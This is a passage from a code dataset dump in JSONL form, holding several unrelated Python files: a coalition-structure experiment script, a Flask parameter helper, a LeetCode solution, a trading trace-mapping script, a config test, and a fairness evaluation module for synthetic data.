f\"RRF_relationship_A={n}\")\n\n if hybrid:\n instance.make_it_hybrid(goals=\"/data/rrf_goals.yml\")\n\n # in our computation we start off from the strike-team/task-force/single-resource hierarchical level\n # swap 1 and 3\n struc1 = instance._structures[0] \n instance._structures[0] = instance._structures[2]\n instance._structures[2] = struc1 \n instance.add_chief()\n\n instance.set_cf(0, lambda C: cf.v_1(C, 0, hybrid=hybrid))\n instance.set_cf(1, lambda C: cf.v_1(C, 1, hybrid=hybrid))\n instance.set_cf(2, lambda C: cf.v_1(C, 2, hybrid=hybrid))\n instance.set_cf(3, lambda C: 0)\n cf.rrf = instance\n cf.upsidedown = True\n\n A = list(instance.A)\n until = [len(A), len(A), instance.span_of_control+1]\n instance.next_leaders = []\n for i, s in enumerate(instance.Pi, start=1):\n instance.next_leaders.append(set(itertools.chain(*[s[0] for s in instance.Pi[i:]])))\n\n rrf.instance = instance\n\n clean_up_FCSS_dir()\n\n logging.info(f\" for: |A|={len(instance.A)}, |H|={len(instance.H)}\")\n Rel.initiliase(instance)\n\n folder_result = os.path.dirname(os.path.realpath(__file__))+\"/FCSSs/\"\n tracemalloc.start()\n start_time = time.time()\n\n R = Rel.sub_inv_R_ICS if hybrid==False else Rel.sub_inv_R_ICS_hybrid\n FCSS, _, found = MCTS(instance.A, instance.H, instance.Pi, R, start_time, degree=5, depth=3, gamma=0.7, end_time=timeout, folder_result=folder_result)\n\n logging.info(f' elapsed time (s): {time.time()-start_time}')\n current, peak = tracemalloc.get_traced_memory()\n print(f\"Current memory usage is {current / 10**6}MB; Peak was {peak / 10**6}MB\")\n\n tracemalloc.stop()\n logging.debug(f\"found {len(found)} FCSSs\")\n","repo_name":"smart-pucrs/SCFG","sub_path":"ICS/rrf_experiment.py","file_name":"rrf_experiment.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27894073944","text":"from exceptions import ApiError, InvalidParameter, MissingParameter\nfrom flask import request\n\n\ndef get_string_param(name, method=None):\n value = None\n if (method is None or method == 'POST') and request.method == 'POST':\n if name in request.json:\n value = request.json[name]\n elif (method is None or method == 'GET') and request.method == 'GET':\n if name in request.args:\n value = request.args[name]\n elif method is None:\n raise ApiError('Unsupported request method')\n else:\n raise ApiError('Invalid method parameter', 500)\n if value is None:\n raise MissingParameter(name)\n return str(value)\n\n\ndef param_exists(name, method=None):\n if (method is None or method == 'POST') and request.method == 'POST':\n if name in request.json:\n return True\n elif (method is None or method == 'GET') and request.method == 'GET':\n if name in request.args:\n return True\n return False\n\n\ndef get_int_param(name):\n value = get_string_param(name)\n try:\n return int(value)\n except Exception as e:\n raise InvalidParameter(name, e)\n\n\ndef get_float_param(name):\n value = get_string_param(name)\n try:\n return float(value)\n except Exception as e:\n raise InvalidParameter(name, e)\n","repo_name":"dinutss/stocks","sub_path":"extract_params.py","file_name":"extract_params.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32353289809","text":"import bisect\nclass Solution:\n def minAbsoluteSumDiff(self, nums1: List[int], nums2: List[int]) -> int:\n MOD = 10**9 + 7\n\n nums1, nums2 = zip(*sorted(zip(nums1, nums2))) \n # zip으로 num1, num2를 한쌍으로 묶고 num1을 기준으로 sort\n # 언패킹연산자 써서 zip을 사용하면 다시 분리됨 (이거 새로 배움)\n \n #리스트 컴프리핸션처리 \n diff = [abs(nums1[i] - nums2[i]) for i in range(len(nums1))]\n M = sum(diff)\n best = 0\n for i in range(len(nums1)):\n if nums1[i] != nums2[i]:\n #이진탐색으로 삽입될 자리의 인덱스를 반환함\n j = bisect_left(nums1, nums2[i])\n if j == len(nums1):\n best = max(best, diff[i] - abs(nums1[-1] - nums2[i]))\n elif j == 0:\n best = max(best, diff[i] - abs(nums1[0] - nums2[i]))\n # ex : [1,2,2,3,4,4] 에 2를 넣으면 [1,^2,2,3,4,4] ^자리 인덱스 반환\n # 그니깐 j와, j-1의 값을 검사해야함\n # 예외처리 j = len(nums1), j == 0 \n else: \n new = min(abs(nums1[j] - nums2[i]), abs(nums1[j-1] - nums2[i]))\n best = max(best, diff[i] - new)\n \n return (M - best) % MOD","repo_name":"suleesulee/TIL","sub_path":"Algorithm/Leetcode/[M_R]1818. Minimum Absolute Sum Difference.py","file_name":"[M_R]1818. Minimum Absolute Sum Difference.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38797566705","text":"#*****************************************************************************\n# Filename : POppHwMap.py \n# Author : psrivatsa\n#\n# Description : Parse the Trace file and map HWStatus to P Opportunity\n#\n# 1. Open and read txt/csv file line-by-line\n# 2. Open and read tarfile\n# 3. Open and write txt/csv file\n# 4. Functions/def\n# 5. Lists and Dict\n# 6. split and strip functions\n#*****************************************************************************\n# usage::\n# time python3 ./scripts/POppHwMap.py ./inputs/StrategyIdNameStream.csv ./inputs/POpportunities.2018-11-21.log ./inputs/p.2018-11-19.log ./inputs/trace_data_aa.tar.gz\n\nimport os\nimport sys\nimport re\nimport tarfile\nfrom collections import Counter\nimport logging\nimport logging.handlers\n\nlogger = logging.getLogger()\nLOG_FORMATTER = logging.Formatter(\n \"%(asctime)s.%(msecs)03d - %(name)s - %(levelname)s - \" +\n \"%(lineno)s - %(funcName)s - \" +\n \"%(message)s\",\n \"%Y%m%d %H:%M:%S\")\n\n\ndef setup_logging(level=logging.INFO, enable_console=True):\n file_log_handler = logging.handlers.RotatingFileHandler(\n \"__\" + os.path.basename(__file__) + \".main__\" + \".log\",\n maxBytes=1000000,\n backupCount=5)\n console_log_handler = logging.StreamHandler()\n logger.addHandler(file_log_handler)\n if enable_console:\n logger.addHandler(console_log_handler)\n logger.setLevel(level)\n for handler in logging.root.handlers:\n handler.setFormatter(fmt=LOG_FORMATTER)\n\n\n\n#########################################################################\n# Common Definitions/Tasks\n#########################################################################\n#########################################################################\n# Get Strategy ID\n#########################################################################\ndef Get_StrategyIDNameStr(line):\n line_s = line.strip()\n Fields = line_s.split(\",\")\n return Fields\n\n#########################################################################\n# Get Hw TRACE Fields\n#########################################################################\ndef Get_HwTraceFields(line):\n lined = line.decode() # decode from bytestream in case of line from tar\n Fields = lined.split(\"|\")\n return Fields\n\n#########################################################################\n# Get HW Status \n#########################################################################\ndef Get_HwStatus(line):\n Fields = line.split(\"|\")\n #Fields = re.findall(r'\\d+', line)\n return Fields[0]\n\n#########################################################################\n# Get Platform StrategyName\n#########################################################################\ndef Get_StrategyName(line):\n Fields = line.split(\",\")\n #Fields = re.findall(r'\\d+', line)\n return Fields[8]\n\n\n#########################################################################\n# Main Function\n#########################################################################\ndef main():\n logger.info(\"Message: %s, %s\", \"MAIN_START\", 1)\n print(\"------------------------------------------------------------------------\")\n print(\"%%%%%% Map P Opportunities to HW Status %%%%%%%%%\")\n print(\"------------------------------------------------------------------------\")\n\n #########################################################################\n # 1. Open StrategyIdName file to read\n #########################################################################\n with open(sys.argv[1], 'r') as file:\n\n StrategyIDList_3L = []\n StrategyIDList_2L = []\n StrategyIDStrList_3L = []\n StrategyIDStrList_2L = []\n print(\"%%%%%% Reading StrategyId HWId Mapping File ... \")\n # Read first relevant line\n line = file.readline()\n \n # Start while loop till end of file\n while line:\n #print(line, end='')\n StrategyID = Get_StrategyIDNameStr(line)\n #print(StrategyID)\n if StrategyID[1] == \"3\": # 3L Strategies\n StrategyIDList_3L.append(StrategyID[3]) # Name\n StrategyIDStrList_3L.append(StrategyID[0]) # Stream Num\n else: # 2L Strategies\n StrategyIDList_2L.append(StrategyID[3]) # Name\n StrategyIDStrList_2L.append(StrategyID[0]) # Stream Num\n #endif\n line = file.readline()\n #endwhile\n\n # Close file\n file.close()\n print(\"%%%%%% Completed Reading StrategyId HWId Mapping File ... \")\n print(\"////// %05d 3-LEG Strategies Added ... \" % len(StrategyIDList_3L))\n print(\"////// %05d 2-LEG Strategies Added ... \" % len(StrategyIDList_2L))\n #sys.exit()\n\n #########################################################################\n # 2. Open P Oppurtunities file to read\n #########################################################################\n with open(sys.argv[2], 'r') as file:\n\n # Variables\n POppListFull = []\n RawSeqNumList_3L = []\n POppList_3L = []\n POppSeqNumList_3L = []\n POppKeyList_3L = []\n RawSeqNumList_2L = []\n POppList_2L = []\n POppSeqNumList_2L = []\n POppKeyList_2L = []\n for k in range(8):\n RawSeqNumList_3L.append([])\n POppList_3L.append([])\n POppSeqNumList_3L.append([])\n POppKeyList_3L.append([])\n RawSeqNumList_2L.append([])\n POppList_2L.append([])\n POppSeqNumList_2L.append([])\n POppKeyList_2L.append([])\n #endfor\n TotalOpp_3L = 0\n TotalOpp_2L = 0\n POppListIdx = 0\n \n # Start Function\n print(\"///////////////////////////////////////////////////////////////////////////\")\n print(\"%%%%%% Reading P Opportunity File ... \")\n # Read first 1 lines and discard\n line = file.readline()\n # P Oppurtunites Header Full\n POppHdr = line.strip() \n # Read first relevant line\n line = file.readline()\n \n # Start while loop till end of file\n while line:\n #print(line, end='')\n # Get CSV Fields\n Fields = line.split(\",\")\n StreamNum = int(Fields[2])\n SeqNum = int(Fields[3]) \n ################################################\n # Create lists\n ################################################\n #print(StreamNum)\n line_i = str(POppListIdx)+\",\"+line.strip() # strip newline char\n if re.search(r'F2F_.*', Fields[7]) is None: #3L CR or BFLY Strategies\n POppList_3L[StreamNum-1].append(line_i) \n RawSeqNumList_3L[StreamNum-1].append(SeqNum)\n else: # 2L F2F Strategies\n POppList_2L[StreamNum-1].append(line_i) \n RawSeqNumList_2L[StreamNum-1].append(SeqNum)\n #endif\n # Create Full list with index\n POppListFull.append(line_i)\n POppListIdx += 1\n \n line = file.readline()\n #sys.exit()\n #endwhile\n \n # Display Results\n print(\"///////////////////////////////////////////////////////////////////////////\")\n print(\"%%%%%% Completed Reading P Opportunity File ... \")\n print(\"///////////////////////////////////////////////////////////////////////////\")\n # 3L Opportunities\n for k in range(8):\n print(\"////// %d P 3L Opportunities in STREAM %d ... \" % (len(RawSeqNumList_3L[k]), k+1), flush=True)\n POppSeqNumList_3L[k] = Counter(RawSeqNumList_3L[k])\n POppKeyList_3L[k] = sorted(POppSeqNumList_3L[k])\n TotalOpp_3L += len(RawSeqNumList_3L[k])\n #print(POppSeqNumList_3L[k])\n #print(POppKeyList_3L[k])\n # 2L Opportunities\n print(\"///////////////////////////////////////////////////////////////////////////\")\n for k in range(8):\n print(\"////// %d P 2L Opportunities in STREAM %d ... \" % (len(RawSeqNumList_2L[k]), k+1), flush=True)\n POppSeqNumList_2L[k] = Counter(RawSeqNumList_2L[k])\n POppKeyList_2L[k] = sorted(POppSeqNumList_2L[k])\n TotalOpp_2L += len(RawSeqNumList_2L[k])\n #print(POppSeqNumList_2L[k])\n #print(POppKeyList_2L[k])\n #endfor\n print(\"///////////////////////////////////////////////////////////////////////////\")\n print(\"////// %d TOTAL P 3L Opportunities ... \" % (TotalOpp_3L), flush=True)\n print(\"////// %d TOTAL P 2L Opportunities ... \" % (TotalOpp_2L), flush=True)\n print(\"////// %d TOTAL P Opportunities ... \" % (TotalOpp_3L+TotalOpp_2L), flush=True)\n print(\"///////////////////////////////////////////////////////////////////////////\")\n\n # Close file\n file.close()\n\n #########################################################################\n # 3. Open P Orders file to read\n #########################################################################\n with open(sys.argv[3], 'r') as file:\n\n # Variables\n POrdList = {} # Dict\n POrdListKey = []\n\n # Start Function\n print(\"///////////////////////////////////////////////////////////////////////////\")\n print(\"%%%%%% Reading P Orders File ... \")\n # Read first line for header\n line = file.readline()\n Fields = line.split(\",\")\n # FillStatus,ExecutionStatus,ExchangeRTT,T2TTime\n POrdHdr = Fields[11]+\",\"+Fields[12]+\",\"+Fields[15]+\",\"+Fields[16] \n #print(POrdHdr)\n # Read first relevant line\n line = file.readline()\n \n # Start while loop till end of file\n while line:\n #print(line, end='')\n # Get CSV Fields\n Fields = line.split(\",\")\n # HwStreamNum,HwSequenceNum,StrategyName\n Key = Fields[17]+\",\"+Fields[18]+\",\"+Fields[8]\n POrdListKey.append(Key)\n # FillStatus,ExecutionStatus,ExchangeRTT,T2TTime\n Val = Fields[11]+\",\"+Fields[12]+\",\"+Fields[15]+\",\"+Fields[16]\n POrdList[Key] = Val\n #print(Key)\n #print(POrdList)\n line = file.readline()\n #endwhile\n\n # Close file\n file.close()\n\n #########################################################################\n # 4. Open HW TRACE file to read\n #########################################################################\n with tarfile.open(sys.argv[4], 'r:gz') as tar:\n for member in tar:\n with tar.extractfile(member) as file:\n ################################################\n # Read first 3 lines and discard\n ################################################\n line = file.readline()\n line = file.readline()\n line = file.readline()\n \n PHwHdr = \"HwOType,HwStrIdx,HwStatus,HwOIdx,HwCond,HwGP\"\n ################################################\n # Read first relevant line\n ################################################\n line = file.readline()\n \n ################################################\n # init \n ################################################\n POppListMatch = []\n POppSeqNumIdx_3L = []\n POppKeyListIdx_3L = []\n POppKeyListC_3L = []\n POppSeqNumIdx_2L = []\n POppKeyListIdx_2L = []\n POppKeyListC_2L = []\n # Read 1st elements to start and init index\n for k in range(8):\n POppSeqNumIdx_3L.append(0) # Sequence number Idx is 0 to begin with for all opp in that strem\n POppKeyListIdx_3L.append(0) # KeyList index is 0 to begin with for all streams\n POppKeyListC_3L.append([])\n if len(POppKeyList_3L[k]) is not 0:\n POppKeyListC_3L[k] = POppKeyList_3L[k][0] # Get first element\n #endif\n POppSeqNumIdx_2L.append(0) # Sequence number Idx is 0 to begin with for all opp in that strem\n POppKeyListIdx_2L.append(0) # KeyList index is 0 to begin with for all streams\n POppKeyListC_2L.append([])\n if len(POppKeyList_2L[k]) is not 0:\n POppKeyListC_2L[k] = POppKeyList_2L[k][0] # Get first element\n #endif\n #endfor\n \n ################################################\n # Start while loop till end of file\n ################################################\n while line:\n # print(line, end='')\n \n # Get all Fields in Trace line\n HwTraceFields = Get_HwTraceFields(line)\n # HW GoalPrice\n HwGP = HwTraceFields[6]\n # HW Condition\n HwCond = HwTraceFields[5]\n # Get Sequence number trace data line\n HwSeqNum = int(HwTraceFields[4])\n # HW Order Index\n HwOIdx = HwTraceFields[3]\n # Get HW Strategy Index from trace data line\n HwStrIdx = HwTraceFields[2]\n # HW Order Type 2-leg/3-leg\n HwOType = HwTraceFields[1]\n # Get HW Status\n HwStatus = HwTraceFields[0]\n \n ################################################\n # Check Per Stream 3-LEG\n ################################################\n if HwOType == \"3\":\n # Get StreamId from StreamIdx\n StreamNum = int(StrategyIDStrList_3L[int(HwStrIdx)]) - 1\n #print(HwSeqNum, HwStrIdx, HwStatus, StreamNum)\n if HwSeqNum > POppKeyListC_3L[StreamNum]:\n #print(StreamNum+1, POppKeyListIdx_3L[StreamNum], POppKeyListC_3L[StreamNum])\n while HwSeqNum > POppKeyListC_3L[StreamNum]:\n Incr = POppSeqNumList_3L[StreamNum][POppKeyListC_3L[StreamNum]]\n POppSeqNumIdx_3L[StreamNum] += Incr\n POppKeyListIdx_3L[StreamNum] += 1\n if POppKeyListIdx_3L[StreamNum] >= len(POppKeyList_3L[StreamNum]):\n POppKeyListC_3L[StreamNum] = 500000000 # 500m as high number to exit at end of list\n else:\n POppKeyListC_3L[StreamNum] = POppKeyList_3L[StreamNum][POppKeyListIdx_3L[StreamNum]] # Get next keylist\n #endif\n #endwhile\n #print(StreamNum+1, POppKeyListIdx_3L[StreamNum], POppKeyListC_3L[StreamNum])\n #sys.exit()\n #endif\n if HwSeqNum == POppKeyListC_3L[StreamNum]:\n # Get number of such elements\n Cnt = POppSeqNumList_3L[StreamNum][HwSeqNum]\n #print(StreamNum+1,HwOType,HwSeqNum,HwStrIdx,Cnt)\n for LoopIdx in range(Cnt):\n # Get Platform Strategy Name from P Opportunities line\n StrName = Get_StrategyName(POppList_3L[StreamNum][LoopIdx+POppSeqNumIdx_3L[StreamNum]])\n PStrIdx = StrategyIDList_3L.index(StrName)\n if int(HwStrIdx) == PStrIdx:\n # Create HW Message\n HwMessage = HwOType+\",\"+HwStrIdx+\",\"+HwStatus+\",\"+HwOIdx+\",\"+HwCond+\",\"+HwGP\n # Get HW Strategy Index from trace data line\n MatchOpp = POppList_3L[StreamNum][LoopIdx+POppSeqNumIdx_3L[StreamNum]]+\",\"+HwMessage\n POppListMatch.append(MatchOpp)\n print(MatchOpp, flush=True)\n #endif\n #endfor \n #endif\n #endif HwOType=3\n \n ################################################\n # Check Per Stream 2-LEG\n ################################################\n if HwOType == \"2\":\n # Get StreamId from StreamIdx\n StreamNum = int(StrategyIDStrList_2L[int(HwStrIdx)]) - 1\n #print(HwSeqNum, HwStrIdx, HwStatus, StreamNum)\n if HwSeqNum > POppKeyListC_2L[StreamNum]:\n #print(StreamNum+1, POppKeyListIdx_2L[StreamNum], POppKeyListC_2L[StreamNum])\n while HwSeqNum > POppKeyListC_2L[StreamNum]:\n Incr = POppSeqNumList_2L[StreamNum][POppKeyListC_2L[StreamNum]]\n POppSeqNumIdx_2L[StreamNum] += Incr\n POppKeyListIdx_2L[StreamNum] += 1\n if POppKeyListIdx_2L[StreamNum] >= len(POppKeyList_2L[StreamNum]):\n POppKeyListC_2L[StreamNum] = 500000000 # 500m as high number to exit at end of list\n else:\n POppKeyListC_2L[StreamNum] = POppKeyList_2L[StreamNum][POppKeyListIdx_2L[StreamNum]] # Get next keylist\n #endif\n #endwhile\n #print(StreamNum+1, POppKeyListIdx_2L[StreamNum], POppKeyListC_2L[StreamNum])\n #sys.exit()\n #endif\n if HwSeqNum == POppKeyListC_2L[StreamNum]:\n # Get number of such elements\n Cnt = POppSeqNumList_2L[StreamNum][HwSeqNum]\n #print(StreamNum+1,HwOType,HwSeqNum,HwStrIdx,Cnt)\n for LoopIdx in range(Cnt):\n # Get Platform Strategy Name from P Opportunities line\n StrName = Get_StrategyName(POppList_2L[StreamNum][LoopIdx+POppSeqNumIdx_2L[StreamNum]])\n PStrIdx = StrategyIDList_2L.index(StrName)\n if int(HwStrIdx) == PStrIdx:\n # Create HW Message\n HwMessage = HwOType+\",\"+HwStrIdx+\",\"+HwStatus+\",\"+HwOIdx+\",\"+HwCond+\",\"+HwGP\n # Get HW Strategy Index from trace data line\n MatchOpp = POppList_2L[StreamNum][LoopIdx+POppSeqNumIdx_2L[StreamNum]]+\",\"+HwMessage\n POppListMatch.append(MatchOpp)\n print(MatchOpp, flush=True)\n #endif\n #endfor \n #endif\n #endif HwOType=3\n \n ################################################\n # READ Next Line\n ################################################\n line = file.readline()\n #endwhile \n file.close()\n #endwith\n #endfor\n\n # Close file\n tar.close()\n #endwith\n\n #########################################################################\n # 5. Write Out Merged Results\n #########################################################################\n with open('./outputs/POppHwMap.csv', 'w') as file:\n MIdx = 0\n HwMessageFill = \"-1,-1,-1,-1,-1,-1\"\n POrdMessageFill = \"-1,-1,-1,-1\"\n # CSV Header\n file.write(POppHdr+\",\"+POrdHdr+\",\"+PHwHdr+'\\n')\n # Dict of matched HW entries\n POppListMatchHw = {}\n # Create key list based on Match list\n for line in POppListMatch:\n Fields = line.split(\",\")\n Key = Fields[0]\n POppListMatchHw[Key] = line\n #endfor\n # DATA\n for FIdx in range(len(POppListFull)):\n POFields = POppListFull[FIdx].split(\",\")\n Key = POFields[0]\n MappedStr = POppListFull[FIdx]\n #################################################################\n # Add the HW Status\n #################################################################\n if Key in POppListMatchHw:\n Val = POppListMatchHw[Key]\n #print(Key, Val)\n MappedStr = Val\n else:\n MappedStr = MappedStr+\",\"+HwMessageFill\n #endif\n #################################################################\n # Add the P Order Status\n #################################################################\n Key = POFields[3]+\",\"+POFields[4]+\",\"+POFields[8]\n if Key in POrdList:\n Val = POrdList[Key]\n #print(Key, Val)\n MappedStr = MappedStr+\",\"+Val+'\\n'\n else:\n MappedStr = MappedStr+\",\"+POrdMessageFill+'\\n'\n #endif\n file.write(MappedStr)\n #endfor\n file.close()\n #endwith\n \n print(\"------------------------------------------------------------------------\")\n print(\"%%%%%% HW Strategy Status and Opportunity Mapping Done %%%%%%%%%\")\n print(\"------------------------------------------------------------------------\")\n logger.info(\"Message: %s, %s\", \"MAIN_END\", 1)\n\n\nif __name__ == \"__main__\":\n setup_logging(level=logging.DEBUG, enable_console=False)\n #logger.debug(\"Message: %s\", \"debug\")\n #logger.warning(\"warning\")\n #logger.error(\"error\")\n #logger.critical(\"critical\")\n sys.exit(main())\n","repo_name":"psrivatsa/linux","sub_path":"code/python/POppHwMap.py","file_name":"POppHwMap.py","file_ext":"py","file_size_in_byte":22384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32741844165","text":"import pytest\nimport os\nimport json\nfrom curb.Config import process_config\n\nCONFIGS = [\n {\"path\": \"./scripts/.curbconfig.json\", \"expected\": (None, \"512MB\")},\n {\"path\": \"./scripts/mock_bad_config.json\", \"expected\": (None, None)},\n {\"path\": \"randompathdoesnotexist\", \"expected\": (None, None)},\n]\n\n\n@pytest.mark.parametrize(\"params\", CONFIGS)\ndef test_config_processing(params):\n path, expected = params[\"path\"], params[\"expected\"]\n cpu, ram = process_config(path, True)\n e_cpu, e_ram = expected\n assert cpu == e_cpu\n assert ram == e_ram\n","repo_name":"raghavmecheri/curb","sub_path":"test/config_test.py","file_name":"config_test.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"1602638112","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom snsynth.pytorch.nn import DPCTGAN, PATECTGAN\n## BINARY CLASSIFICATION ##\n\ndef get_classification_summary(train_df, test_df, classifier=\"logistic\", evaluate=\"test\", dataset=\"adult\"):\n\n # Get name of target and protected attribute\n if dataset == \"adult\":\n target = \"label\"\n protected_att = \"sex\"\n priv_class = \"Male\"\n unpriv_class = \"Female\"\n elif dataset == \"acs\":\n target = \"label\"\n protected_att = \"sex\"\n priv_class = \"Male\"\n unpriv_class = \"Female\"\n elif dataset == \"compas\":\n target = \"two_year_recid\"\n protected_att = \"race\"\n priv_class = \"White\"\n unpriv_class = \"Black\"\n elif dataset == \"german\":\n target = \"credit_risk\"\n protected_att = \"age\"\n priv_class = \">25\"\n unpriv_class = \"<=25\"\n else:\n raise Exception(f\"Dataset {dataset} not recognized.\")\n\n # Check dimensions of dfs (for one-hot encoded data)\n if len(train_df.columns) < len(test_df.columns):\n missing_cols = list(set(test_df.columns) - set(train_df.columns))\n # Add missing columns to train_df\n for col in missing_cols:\n train_df[col] = 0\n # Reorder columns to match test_df\n train_df = train_df[test_df.columns]\n elif len(train_df.columns) == len(test_df.columns):\n pass\n else:\n raise Exception(\"train_df has more columns than test_df.\")\n\n # Train the classification model\n X_train, y_train = train_df.drop(target, axis=1), train_df[target]\n X_test, y_test = test_df.drop(target, axis=1), test_df[target]\n if classifier == \"logistic\":\n m = LogisticRegression(max_iter=1000, C=1., penalty=\"l2\")\n m.fit(X_train, y_train)\n elif classifier == \"forest\":\n m = RandomForestClassifier(random_state=0)\n m.fit(X_train, y_train)\n else:\n raise Exception(f\"Classifier {classifier} not recognized.\")\n\n # Predict on the train and test data\n y_train_pred = m.predict(X_train)\n y_test_pred = m.predict(X_test)\n\n # Get the all classification metrics\n if evaluate == \"test\":\n df = X_test.copy()\n df[\"y\"] = y_test\n df[\"y_pred\"] = y_test_pred\n else:\n df = X_train.copy()\n df[\"y\"] = y_train\n df[\"y_pred\"] = y_train_pred\n TP_f = len(df[(df[protected_att]==0) & (df[\"y\"]==1) & (df[\"y_pred\"]==1)])\n TP_m = len(df[(df[protected_att]==1) & (df[\"y\"]==1) & (df[\"y_pred\"]==1)])\n FP_f = len(df[(df[protected_att]==0) & (df[\"y\"]==0) & (df[\"y_pred\"]==1)])\n FP_m = len(df[(df[protected_att]==1) & (df[\"y\"]==0) & (df[\"y_pred\"]==1)])\n TN_f = len(df[(df[protected_att]==0) & (df[\"y\"]==0) & (df[\"y_pred\"]==0)])\n TN_m = len(df[(df[protected_att]==1) & (df[\"y\"]==0) & (df[\"y_pred\"]==0)])\n FN_f = len(df[(df[protected_att]==0) & (df[\"y\"]==1) & (df[\"y_pred\"]==0)])\n FN_m = len(df[(df[protected_att]==1) & (df[\"y\"]==1) & (df[\"y_pred\"]==0)])\n TPR_f = TP_f / (TP_f + FN_f)\n TPR_m = TP_m / (TP_m + FN_m)\n FPR_f = FP_f / (FP_f + TN_f)\n FPR_m = FP_m / (FP_m + TN_m)\n TPR_diff = TPR_m - TPR_f\n FPR_diff = FPR_m - FPR_f\n ACC_f = (TP_f + TN_f) / sum([TP_f, FP_f, TN_f, FN_f])\n ACC_m = (TP_m + TN_m) / sum([TP_m, FP_m, TN_m, FN_m])\n F1_score = (TP_f+TP_m) / (TP_f+TP_m + 0.5*(FP_f+FP_m + FN_f+FN_m))\n\n # Print out results\n print(f\"\\nCLASSIFICATION RESULTS ({classifier}, eval on test data)\\n\")\n print(\"True positive rates:\")\n print(f\"{unpriv_class}: {TPR_f:.4f}, {priv_class}: {TPR_m:.4f}\\n\")\n print(\"False positive rates:\")\n print(f\"{unpriv_class}: {FPR_f:.4f}, {priv_class}: {FPR_m:.4f}\\n\")\n print(\"Equalized odds distances:\")\n print(f\"y=1: {TPR_diff:.4f}, y=0: {FPR_diff:.4f}\\n\")\n print(\"Classification accuracies:\")\n print(f\"{unpriv_class}: {ACC_f:.4f}, {priv_class}: {ACC_m:.4f}\\n\")\n print(f\"F1-score: {F1_score:.4f}\\n\")\n\n return y_train_pred, y_test_pred\n\ndef classification_helper(synthesizer, eps, rep, classifier, test_df, non_priv_train=None, one_hot_encode_train=False, dataset=\"adult\", results_dir=\"\"):\n \"\"\" helper function to calculate TPR_diff, FPR_diff, and F1_score for a single synthesizer, eps, rep, and classifier \"\"\"\n\n # Get name of target and protected attribute\n if dataset == \"adult\":\n target = \"label\"\n protected_att = \"sex\"\n priv_class = \"Male\"\n unpriv_class = \"Female\"\n elif dataset == \"acs\":\n target = \"label\"\n protected_att = \"sex\"\n priv_class = \"Male\"\n unpriv_class = \"Female\"\n elif dataset == \"compas\":\n target = \"two_year_recid\"\n protected_att = \"race\"\n priv_class = \"White\"\n unpriv_class = \"Black\"\n elif dataset == \"german\":\n target = \"credit_risk\"\n protected_att = \"age\"\n priv_class = \">25\"\n unpriv_class = \"<=25\"\n else:\n raise Exception(f\"Dataset {dataset} not recognized.\")\n\n # Read in the synthetic training data or use non-private data\n if non_priv_train is not None:\n train_df = non_priv_train\n else:\n fname = results_dir+f\"{synthesizer}_eps={eps}_rep={rep}.csv\"\n train_df = pd.read_csv(fname, index_col=0)\n\n # One-hot encode the training data if specified\n if one_hot_encode_train:\n train_df = one_hot_encode(train_df, dataset=dataset)\n\n # Check dimensions of dfs (for one-hot encoded data)\n if len(train_df.columns) < len(test_df.columns):\n missing_cols = list(set(test_df.columns) - set(train_df.columns))\n # Add missing columns to train_df\n for col in missing_cols:\n train_df[col] = 0\n # Reorder columns to match test_df\n train_df = train_df[test_df.columns]\n elif len(train_df.columns) == len(test_df.columns):\n pass\n else:\n raise Exception(\"train_df has more columns than test_df.\")\n\n # Train the classification model\n X_train, y_train = train_df.drop(target, axis=1), train_df[target]\n X_test, y_test = test_df.drop(target, axis=1), test_df[target]\n if len(np.unique(y_train)) != 2:\n return None\n if classifier == \"logistic\":\n m = LogisticRegression(max_iter=1000, C=1., penalty=\"l2\")\n m.fit(X_train, y_train)\n elif classifier == \"forest\":\n m = RandomForestClassifier(random_state=0)\n m.fit(X_train, y_train)\n else:\n raise Exception(f\"Classifier {classifier} not recognized.\")\n\n # Predict on the test set\n y_test_pred = m.predict(X_test)\n\n # Get the all classification metrics on the test set\n df = X_test.copy()\n df[\"y\"] = y_test\n df[\"y_pred\"] = y_test_pred\n TP_f = len(df[(df[protected_att]==0) & (df[\"y\"]==1) & (df[\"y_pred\"]==1)])\n TP_m = len(df[(df[protected_att]==1) & (df[\"y\"]==1) & (df[\"y_pred\"]==1)])\n FP_f = len(df[(df[protected_att]==0) & (df[\"y\"]==0) & (df[\"y_pred\"]==1)])\n FP_m = len(df[(df[protected_att]==1) & (df[\"y\"]==0) & (df[\"y_pred\"]==1)])\n TN_f = len(df[(df[protected_att]==0) & (df[\"y\"]==0) & (df[\"y_pred\"]==0)])\n TN_m = len(df[(df[protected_att]==1) & (df[\"y\"]==0) & (df[\"y_pred\"]==0)])\n FN_f = len(df[(df[protected_att]==0) & (df[\"y\"]==1) & (df[\"y_pred\"]==0)])\n FN_m = len(df[(df[protected_att]==1) & (df[\"y\"]==1) & (df[\"y_pred\"]==0)])\n TPR_f = TP_f / (TP_f + FN_f)\n TPR_m = TP_m / (TP_m + FN_m)\n FPR_f = FP_f / (FP_f + TN_f)\n FPR_m = FP_m / (FP_m + TN_m)\n TPR_diff = TPR_m - TPR_f\n FPR_diff = FPR_m - FPR_f\n f1_score = (TP_f+TP_m) / (TP_f+TP_m + 0.5*(FP_f+FP_m + FN_f+FN_m))\n\n return (TPR_diff, FPR_diff, f1_score)\n\ndef get_table_metrics(synthesizer, epsilon_list, nreps, classifier, test_df, f1_metric=\"median\", one_hot_encode_train=False, dataset=\"adult\", results_dir=\"\"):\n \"\"\" return median TPR_diff, FPR_diff, F1_score across all epsilons and repetitions \"\"\"\n\n # Initialize lists\n tpr_diff_list = []\n fpr_diff_list = []\n f1_scores = []\n\n # Loop through the epsilon values and repetitions\n for eps in epsilon_list:\n for rep in range(nreps):\n\n # Get the classification metrics\n results = classification_helper(synthesizer=synthesizer, eps=eps, rep=rep, classifier=classifier,\n 